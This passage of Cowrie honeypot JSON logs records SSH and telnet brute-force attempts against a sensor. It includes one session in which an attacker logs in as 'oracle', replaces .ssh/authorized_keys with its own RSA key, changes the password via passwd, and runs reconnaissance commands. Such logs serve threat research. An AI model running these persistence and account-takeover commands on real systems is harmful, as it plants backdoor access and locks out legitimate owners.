6-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:07.748357Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"I2KPwdO3","message":"login attempt [oracle/I2KPwdO3] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:08.418791Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:08.818272Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:08.821528Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:08.825137Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:09.016666Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:09.367897Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:09.371697Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:09.535308Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:09.541047Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":33708,"dst_ip":"10.17.0.5","dst_port":22,"session":"88f8ea802ef9","protocol":"ssh","message":"New connection: 190.242.109.42:33708 (10.17.0.5:22) [session: 88f8ea802ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:17.157455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:17.161808Z","src_ip":"190.242.109.42","session":"88f8ea802ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:17.264193Z","src_ip":"190.242.109.42","session":"88f8ea802ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"test123","message":"login attempt [gmodserver/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:17.700785Z","src_ip":"190.242.109.42","session":"88f8ea802ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:18.812637Z","src_ip":"190.242.109.42","session":"88f8ea802ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33894,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be75c5441f6","protocol":"ssh","message":"New connection: 103.147.159.91:33894 (10.17.0.5:22) [session: 1be75c5441f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:18.930496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:18.938168Z","src_ip":"103.147.159.91","session":"1be75c5441f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:19.180650Z","src_ip":"103.147.159.91","session":"1be75c5441f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testu","password":"testu","message":"login attempt [testu/testu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:20.183224Z","src_ip":"103.147.159.91","session":"1be75c5441f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:21.429438Z","src_ip":"103.147.159.91","session":"1be75c5441f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.2003402709961,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:21.485225Z","src_ip":"212.55.149.117","session":"7ed8ad15dc29","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:21.866120Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:21.869788Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:22.034192Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:22.380157Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"I2KPwdO3\\nqRc0NtkMu4hE\\nqRc0NtkMu4hE\"|passwd|bash","message":"CMD: echo -e \"I2KPwdO3\\nqRc0NtkMu4hE\\nqRc0NtkMu4hE\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:22.383426Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:22.386955Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:22.390038Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1e4c2389ce92e1b94c62c18280e968fa7fe5da6d89688da6cc7a283ba90774a7","size":32,"shasum":"1e4c2389ce92e1b94c62c18280e968fa7fe5da6d89688da6cc7a283ba90774a7","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1e4c2389ce92e1b94c62c18280e968fa7fe5da6d89688da6cc7a283ba90774a7 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:22.625658Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:22.966987Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"I2KPwdO3\\nqRc0NtkMu4hE\\nqRc0NtkMu4hE\\n\"|passwd","message":"CMD: echo \"I2KPwdO3\\nqRc0NtkMu4hE\\nqRc0NtkMu4hE\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:22.970339Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6d3558960542df183a33ca9b2386569da4f48768fd5e31a7632c4d5691717c64","size":25,"shasum":"6d3558960542df183a33ca9b2386569da4f48768fd5e31a7632c4d5691717c64","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/6d3558960542df183a33ca9b2386569da4f48768fd5e31a7632c4d5691717c64 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:23.131837Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:23.578112Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:23.580917Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:23.746628Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:24.102707Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:24.106278Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:24.322168Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:24.680730Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:24.684376Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:24.687726Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:24.920372Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:25.286189Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:25.289891Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":22,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:25.444283Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:25.869771Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:25.872779Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:26.037806Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:26.386591Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:26.389805Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:26.619889Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:26.962263Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:26.965654Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:27.121755Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:27.477101Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:27.480230Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:27.718110Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:28.068129Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:28.070899Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
